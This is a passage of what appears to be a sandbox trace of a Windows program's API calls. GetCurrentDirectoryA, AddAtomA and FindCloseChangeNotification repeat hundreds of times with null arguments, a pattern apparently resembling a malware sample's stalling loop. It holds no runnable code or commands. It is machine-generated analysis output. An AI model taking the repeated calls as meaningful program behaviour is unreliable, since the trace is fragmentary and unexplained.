lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.310] AddAtomA (lpString=0x0) returned 0x0 [0094.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.310] AddAtomA (lpString=0x0) returned 0x0 [0094.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.310] AddAtomA (lpString=0x0) returned 0x0 [0094.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.310] AddAtomA (lpString=0x0) returned 0x0 [0094.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.310] AddAtomA (lpString=0x0) returned 0x0 [0094.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.310] AddAtomA (lpString=0x0) returned 0x0 [0094.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.311] AddAtomA (lpString=0x0) returned 0x0 [0094.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.311] AddAtomA (lpString=0x0) returned 0x0 [0094.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.311] AddAtomA (lpString=0x0) returned 0x0 [0094.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.311] AddAtomA (lpString=0x0) returned 0x0 [0094.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.311] AddAtomA (lpString=0x0) returned 0x0 [0094.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.311] AddAtomA (lpString=0x0) returned 0x0 [0094.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.311] AddAtomA (lpString=0x0) returned 0x0 [0094.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.311] AddAtomA (lpString=0x0) returned 0x0 [0094.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.311] AddAtomA (lpString=0x0) returned 0x0 [0094.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.311] AddAtomA (lpString=0x0) returned 0x0 [0094.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.312] AddAtomA (lpString=0x0) returned 0x0 [0094.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.312] AddAtomA (lpString=0x0) returned 0x0 [0094.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.312] AddAtomA (lpString=0x0) returned 0x0 [0094.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.312] AddAtomA (lpString=0x0) returned 0x0 [0094.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.312] AddAtomA (lpString=0x0) returned 0x0 [0094.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.312] AddAtomA (lpString=0x0) returned 0x0 [0094.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.312] AddAtomA (lpString=0x0) returned 0x0 [0094.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.312] AddAtomA (lpString=0x0) returned 0x0 [0094.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.312] AddAtomA (lpString=0x0) returned 0x0 [0094.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.313] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.313] AddAtomA (lpString=0x0) returned 0x0 [0094.313] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.313] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.313] AddAtomA (lpString=0x0) returned 0x0 [0094.313] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.313] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.313] AddAtomA (lpString=0x0) returned 0x0 [0094.313] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.313] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.313] AddAtomA (lpString=0x0) returned 0x0 [0094.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.314] AddAtomA (lpString=0x0) returned 0x0 [0094.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.314] AddAtomA (lpString=0x0) returned 0x0 [0094.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.314] AddAtomA (lpString=0x0) returned 0x0 [0094.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.314] AddAtomA (lpString=0x0) returned 0x0 [0094.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.314] AddAtomA (lpString=0x0) returned 0x0 [0094.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.314] AddAtomA (lpString=0x0) returned 0x0 [0094.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.314] AddAtomA (lpString=0x0) returned 0x0 [0094.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.314] AddAtomA (lpString=0x0) returned 0x0 [0094.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.314] AddAtomA (lpString=0x0) returned 0x0 [0094.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.314] AddAtomA (lpString=0x0) returned 0x0 [0094.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.315] AddAtomA (lpString=0x0) returned 0x0 [0094.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.315] AddAtomA (lpString=0x0) returned 0x0 [0094.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.315] AddAtomA (lpString=0x0) returned 0x0 [0094.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.315] AddAtomA (lpString=0x0) returned 0x0 [0094.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.315] AddAtomA (lpString=0x0) returned 0x0 [0094.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.315] AddAtomA (lpString=0x0) returned 0x0 [0094.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.315] AddAtomA (lpString=0x0) returned 0x0 [0094.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.315] AddAtomA (lpString=0x0) returned 0x0 [0094.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.315] AddAtomA (lpString=0x0) returned 0x0 [0094.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.315] AddAtomA (lpString=0x0) returned 0x0 [0094.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.315] AddAtomA (lpString=0x0) returned 0x0 [0094.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.315] AddAtomA (lpString=0x0) returned 0x0 [0094.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.315] AddAtomA (lpString=0x0) returned 0x0 [0094.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.316] AddAtomA (lpString=0x0) returned 0x0 [0094.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.316] AddAtomA (lpString=0x0) returned 0x0 [0094.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.316] AddAtomA (lpString=0x0) returned 0x0 [0094.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.316] AddAtomA (lpString=0x0) returned 0x0 [0094.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.316] AddAtomA (lpString=0x0) returned 0x0 [0094.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.316] AddAtomA (lpString=0x0) returned 0x0 [0094.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.316] AddAtomA (lpString=0x0) returned 0x0 [0094.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.316] AddAtomA (lpString=0x0) returned 0x0 [0094.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.316] AddAtomA (lpString=0x0) returned 0x0 [0094.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.316] AddAtomA (lpString=0x0) returned 0x0 [0094.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.316] AddAtomA (lpString=0x0) returned 0x0 [0094.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.316] AddAtomA (lpString=0x0) returned 0x0 [0094.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.317] AddAtomA (lpString=0x0) returned 0x0 [0094.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.317] AddAtomA (lpString=0x0) returned 0x0 [0094.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.317] AddAtomA (lpString=0x0) returned 0x0 [0094.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.317] AddAtomA (lpString=0x0) returned 0x0 [0094.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.317] AddAtomA (lpString=0x0) returned 0x0 [0094.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.317] AddAtomA (lpString=0x0) returned 0x0 [0094.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.317] AddAtomA (lpString=0x0) returned 0x0 [0094.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.317] AddAtomA (lpString=0x0) returned 0x0 [0094.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.317] AddAtomA (lpString=0x0) returned 0x0 [0094.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.317] AddAtomA (lpString=0x0) returned 0x0 [0094.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.317] AddAtomA (lpString=0x0) returned 0x0 [0094.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.317] AddAtomA (lpString=0x0) returned 0x0 [0094.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.317] AddAtomA (lpString=0x0) returned 0x0 [0094.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.318] AddAtomA (lpString=0x0) returned 0x0 [0094.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.318] AddAtomA (lpString=0x0) returned 0x0 [0094.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.318] AddAtomA (lpString=0x0) returned 0x0 [0094.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.318] AddAtomA (lpString=0x0) returned 0x0 [0094.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.318] AddAtomA (lpString=0x0) returned 0x0 [0094.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.318] AddAtomA (lpString=0x0) returned 0x0 [0094.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.318] AddAtomA (lpString=0x0) returned 0x0 [0094.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.318] AddAtomA (lpString=0x0) returned 0x0 [0094.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.318] AddAtomA (lpString=0x0) returned 0x0 [0094.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.318] AddAtomA (lpString=0x0) returned 0x0 [0094.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.318] AddAtomA (lpString=0x0) returned 0x0 [0094.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.318] AddAtomA (lpString=0x0) returned 0x0 [0094.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.319] AddAtomA (lpString=0x0) returned 0x0 [0094.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.319] AddAtomA (lpString=0x0) returned 0x0 [0094.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.319] AddAtomA (lpString=0x0) returned 0x0 [0094.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.319] AddAtomA (lpString=0x0) returned 0x0 [0094.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.319] AddAtomA (lpString=0x0) returned 0x0 [0094.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.319] AddAtomA (lpString=0x0) returned 0x0 [0094.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.319] AddAtomA (lpString=0x0) returned 0x0 [0094.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.319] AddAtomA (lpString=0x0) returned 0x0 [0094.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.319] AddAtomA (lpString=0x0) returned 0x0 [0094.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.319] AddAtomA (lpString=0x0) returned 0x0 [0094.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.319] AddAtomA (lpString=0x0) returned 0x0 [0094.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.319] AddAtomA (lpString=0x0) returned 0x0 [0094.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.319] AddAtomA (lpString=0x0) returned 0x0 [0094.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.320] AddAtomA (lpString=0x0) returned 0x0 [0094.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.320] AddAtomA (lpString=0x0) returned 0x0 [0094.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.320] AddAtomA (lpString=0x0) returned 0x0 [0094.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.320] AddAtomA (lpString=0x0) returned 0x0 [0094.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.320] AddAtomA (lpString=0x0) returned 0x0 [0094.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.320] AddAtomA (lpString=0x0) returned 0x0 [0094.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.320] AddAtomA (lpString=0x0) returned 0x0 [0094.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.320] AddAtomA (lpString=0x0) returned 0x0 [0094.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.320] AddAtomA (lpString=0x0) returned 0x0 [0094.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.320] AddAtomA (lpString=0x0) returned 0x0 [0094.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.320] GetCurrentDirectoryA (in: 